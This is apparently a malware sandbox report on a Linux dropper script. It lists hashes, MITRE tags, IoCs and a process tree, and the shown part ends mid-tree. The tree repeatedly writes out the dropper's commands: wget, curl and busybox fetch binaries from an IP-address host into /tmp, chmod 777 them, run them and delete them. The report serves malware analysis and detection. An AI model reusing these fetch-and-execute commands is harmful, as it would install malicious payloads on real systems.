a5d81769f3b6afeee83c3327296ac316a2d48e4d63afad58f139c869f54aeb7d

Analysis

max time kernel
36s
max time network
38s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
20/11/2024, 03:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a5d81769f3b6afeee83c3327296ac316a2d48e4d63afad58f139c869f54aeb7d.sh
Size

10KB
MD5

ef505d64f23098451d64b4ff3856093e
SHA1

5297cfaa6fde5a75f63579eb307dce84090420ef
SHA256

a5d81769f3b6afeee83c3327296ac316a2d48e4d63afad58f139c869f54aeb7d
SHA512

f9882b0da33f44b4cf2653178a57074bf58ee7f168bc9bea57ac986da423d164d13889ce54977b0852990674f6dccf00c7c095d935cf51f74b513834282b96e3
SSDEEP

192:m6GB7b/KvZ5hh1hdh4/DTarYQrYArYAD3wpXpDp0JxUuimI4W74S4e4+AUXa7JpD:SiDD74/DT/5F0JxMEuXZ5F0Jx4D74/D3

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 27 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
683	chmod
776	chmod
787	chmod
877	chmod
897	chmod
903	chmod
689	chmod
856	chmod
885	chmod
665	chmod
729	chmod
799	chmod
677	chmod
715	chmod
827	chmod
844	chmod
850	chmod
909	chmod
759	chmod
702	chmod
742	chmod
862	chmod
868	chmod
770	chmod
814	chmod
838	chmod
891	chmod

Executes dropped EXE 27 IoCs

Checks CPU configuration 1 TTPs 27 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 54 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 27 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB	curl
File opened for modification	/tmp/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB	curl
File opened for modification	/tmp/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6	curl
File opened for modification	/tmp/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20	curl
File opened for modification	/tmp/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB	curl
File opened for modification	/tmp/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8	curl
File opened for modification	/tmp/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB	curl
File opened for modification	/tmp/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo	curl
File opened for modification	/tmp/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5	curl
File opened for modification	/tmp/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY	curl
File opened for modification	/tmp/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl	curl
File opened for modification	/tmp/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm	curl
File opened for modification	/tmp/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS	curl
File opened for modification	/tmp/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl	curl
File opened for modification	/tmp/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe	curl
File opened for modification	/tmp/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8	curl
File opened for modification	/tmp/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4	curl
File opened for modification	/tmp/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20	curl
File opened for modification	/tmp/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4	curl
File opened for modification	/tmp/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8	curl
File opened for modification	/tmp/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo	curl
File opened for modification	/tmp/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe	curl
File opened for modification	/tmp/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5	curl
File opened for modification	/tmp/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8	curl
File opened for modification	/tmp/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm	curl
File opened for modification	/tmp/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS	curl
File opened for modification	/tmp/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY	curl

/tmp/a5d81769f3b6afeee83c3327296ac316a2d48e4d63afad58f139c869f54aeb7d.sh
/tmp/a5d81769f3b6afeee83c3327296ac316a2d48e4d63afad58f139c869f54aeb7d.sh
1⤵
PID:637
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:644
- /usr/bin/wget
  wget http://87.120.125.191/bins/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  PID:646
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:654
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  PID:663
- /bin/chmod
  chmod 777 41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  - File and Directory Permissions Modification
  PID:665
- /tmp/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  ./41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  - Executes dropped EXE
  PID:667
- /bin/rm
  rm 41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  PID:668
- /usr/bin/wget
  wget http://87.120.125.191/bins/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  PID:669
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:673
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  PID:675
- /bin/chmod
  chmod 777 68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  - File and Directory Permissions Modification
  PID:677
- /tmp/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  ./68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  - Executes dropped EXE
  PID:678
- /bin/rm
  rm 68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  PID:679
- /usr/bin/wget
  wget http://87.120.125.191/bins/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  PID:680
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:681
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  PID:682
- /bin/chmod
  chmod 777 g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  - File and Directory Permissions Modification
  PID:683
- /tmp/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  ./g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  - Executes dropped EXE
  PID:684
- /bin/rm
  rm g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  PID:685
- /usr/bin/wget
  wget http://87.120.125.191/bins/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  PID:686
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:687
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  PID:688
- /bin/chmod
  chmod 777 xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  - File and Directory Permissions Modification
  PID:689
- /tmp/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  ./xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  - Executes dropped EXE
  PID:690
- /bin/rm
  rm xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  PID:691
- /usr/bin/wget
  wget http://87.120.125.191/bins/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  PID:693
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:696
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  PID:700
- /bin/chmod
  chmod 777 d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  - File and Directory Permissions Modification
  PID:702
- /tmp/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  ./d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  - Executes dropped EXE
  PID:704
- /bin/rm
  rm d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  PID:705
- /usr/bin/wget
  wget http://87.120.125.191/bins/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  PID:706
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:709
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  PID:713
- /bin/chmod
  chmod 777 bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  - File and Directory Permissions Modification
  PID:715
- /tmp/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  ./bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  - Executes dropped EXE
  PID:717
- /bin/rm
  rm bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  PID:718
- /usr/bin/wget
  wget http://87.120.125.191/bins/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  PID:719
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:722
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  PID:726
- /bin/chmod
  chmod 777 3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  ./3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  - Executes dropped EXE
  PID:730
- /bin/rm
  rm 3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  PID:731
- /usr/bin/wget
  wget http://87.120.125.191/bins/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  PID:732
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:735
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  PID:739
- /bin/chmod
  chmod 777 BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  ./BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  - Executes dropped EXE
  PID:743
- /bin/rm
  rm BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  PID:744
- /usr/bin/wget
  wget http://87.120.125.191/bins/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  PID:747
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:751
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  PID:757
- /bin/chmod
  chmod 777 All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  ./All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  - Executes dropped EXE
  PID:760
- /bin/rm
  rm All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  PID:761
- /usr/bin/wget
  wget http://87.120.125.191/bins/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  PID:763
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:766
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  PID:769
- /bin/chmod
  chmod 777 P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  ./P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  - Executes dropped EXE
  PID:771
- /bin/rm
  rm P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  PID:772
- /usr/bin/wget
  wget http://87.120.125.191/bins/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  PID:773
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:774
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  PID:775
- /bin/chmod
  chmod 777 rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  ./rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  - Executes dropped EXE
  PID:777
- /bin/rm
  rm rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  PID:778
- /usr/bin/wget
  wget http://87.120.125.191/bins/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  PID:779
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:781
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  PID:784
- /bin/chmod
  chmod 777 9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  ./9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  - Executes dropped EXE
  PID:788
- /bin/rm
  rm 9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  PID:789
- /usr/bin/wget
  wget http://87.120.125.191/bins/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  PID:791
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:794
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  PID:797
- /bin/chmod
  chmod 777 Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  ./Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  - Executes dropped EXE
  PID:800
- /bin/rm
  rm Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  PID:801
- /usr/bin/wget
  wget http://87.120.125.191/bins/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  PID:803
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:806
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  PID:812
- /bin/chmod
  chmod 777 vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  ./vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  - Executes dropped EXE
  PID:815
- /bin/rm
  rm vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  PID:816
- /usr/bin/wget
  wget http://87.120.125.191/bins/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  PID:817
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:821
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  PID:825
- /bin/chmod
  chmod 777 bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  ./bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  - Executes dropped EXE
  PID:828
- /bin/rm
  rm bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
  2⤵
  PID:830
- /usr/bin/wget
  wget http://87.120.125.191/bins/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  PID:831
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:834
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  PID:837
- /bin/chmod
  chmod 777 3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  ./3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  - Executes dropped EXE
  PID:839
- /bin/rm
  rm 3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
  2⤵
  PID:840
- /usr/bin/wget
  wget http://87.120.125.191/bins/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  PID:841
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:842
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  PID:843
- /bin/chmod
  chmod 777 BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  - File and Directory Permissions Modification
  PID:844
- /tmp/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  ./BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  - Executes dropped EXE
  PID:845
- /bin/rm
  rm BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
  2⤵
  PID:846
- /usr/bin/wget
  wget http://87.120.125.191/bins/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  PID:847
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:848
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  PID:849
- /bin/chmod
  chmod 777 xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  ./xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  - Executes dropped EXE
  PID:851
- /bin/rm
  rm xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
  2⤵
  PID:852
- /usr/bin/wget
  wget http://87.120.125.191/bins/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  PID:853
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:854
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  PID:855
- /bin/chmod
  chmod 777 d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  ./d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  - Executes dropped EXE
  PID:857
- /bin/rm
  rm d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
  2⤵
  PID:858
- /usr/bin/wget
  wget http://87.120.125.191/bins/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  PID:859
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:860
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  PID:861
- /bin/chmod
  chmod 777 rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  ./rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  - Executes dropped EXE
  PID:863
- /bin/rm
  rm rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
  2⤵
  PID:864
- /usr/bin/wget
  wget http://87.120.125.191/bins/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  PID:865
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:866
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  PID:867
- /bin/chmod
  chmod 777 9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  ./9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  - Executes dropped EXE
  PID:869
- /bin/rm
  rm 9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
  2⤵
  PID:870
- /usr/bin/wget
  wget http://87.120.125.191/bins/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  PID:874
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  PID:876
- /bin/chmod
  chmod 777 Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
